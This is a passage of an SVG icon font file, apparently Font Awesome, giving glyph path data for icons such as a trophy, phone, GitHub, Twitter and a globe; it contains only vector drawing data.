<glyph unicode="&#xf090;" d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5 q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf091;" horiz-adv-x="1664" d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91 t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96 q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf092;" d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4 q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4 t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16 q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf093;" horiz-adv-x="1664" d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92 t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
<glyph unicode="&#xf094;" d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5 q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44 q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5 q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -10 1 -18.5t3 -17t4 -13.5t6.5 -16t6.5 -17q16 -40 25 -118.5t9 -136.5z" />
<glyph unicode="&#xf095;" horiz-adv-x="1408" d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -52.5 3.5t-57.5 12.5t-47.5 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-128 79 -264.5 215.5t-215.5 264.5q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47.5t-12.5 57.5t-3.5 52.5 q0 92 51 186q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174 q2 -1 19 -11.5t24 -14t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
<glyph unicode="&#xf096;" horiz-adv-x="1408" d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832 q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf097;" horiz-adv-x="1280" d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289 q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
<glyph unicode="&#xf098;" d="M1280 343q0 11 -2 16q-3 8 -38.5 29.5t-88.5 49.5l-53 29q-5 3 -19 13t-25 15t-21 5q-18 0 -47 -32.5t-57 -65.5t-44 -33q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170.5 126.5t-126.5 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5t-3.5 16.5q0 13 20.5 33.5t45 38.5 t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5t320.5 -216.5q6 -2 30 -11t33 -12.5 t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf099;" horiz-adv-x="1664" d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41 q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
<glyph unicode="&#xf09a;" horiz-adv-x="1024" d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
<glyph unicode="&#xf09b;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24 q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5 t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12 q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
<glyph unicode="&#xf09c;" horiz-adv-x="1664" d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5 t316.5 -131.5t131.5 -316.5z" />
<glyph unicode="&#xf09d;" horiz-adv-x="1920" d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608 q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
<glyph unicode="&#xf09e;" horiz-adv-x="1408" d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5 t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294 q187 -186 294 -425.5t120 -501.5z" />
<glyph unicode="&#xf0a0;" d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5 h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75 l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
<glyph unicode="&#xf0a1;" horiz-adv-x="1792" d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5 t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
<glyph unicode="&#xf0a2;" horiz-adv-x="1792" d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5 t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
<glyph unicode="&#xf0a3;" d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70 l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70 l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
<glyph unicode="&#xf0a4;" horiz-adv-x="1792" d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106 q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43 q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5 t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
<glyph unicode="&#xf0a5;" horiz-adv-x="1792" d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-2 3 -3.5 4.5t-4 4.5t-4.5 5q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576 q-50 0 -89 -38.5t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45 t45 -19t45 19t19 45zM1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128 q0 122 81.5 189t206.5 67q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
<glyph unicode="&#xf0a6;" d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576 q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5 t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76 q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
<glyph unicode="&#xf0a7;" d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33 t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580 q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100 q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
<glyph unicode="&#xf0a8;" d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf0a9;" d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf0aa;" d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf0ab;" d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf0ac;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11 q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 10.5t-9.5 10.5q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5 q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5 q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5 t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-5 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3 q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25 q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5 t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5 t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10t17 -20q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21 q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5 q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3 q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5 t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q7 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5 q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7 q-5 -5 -6 -15t-2 -13q-7 5 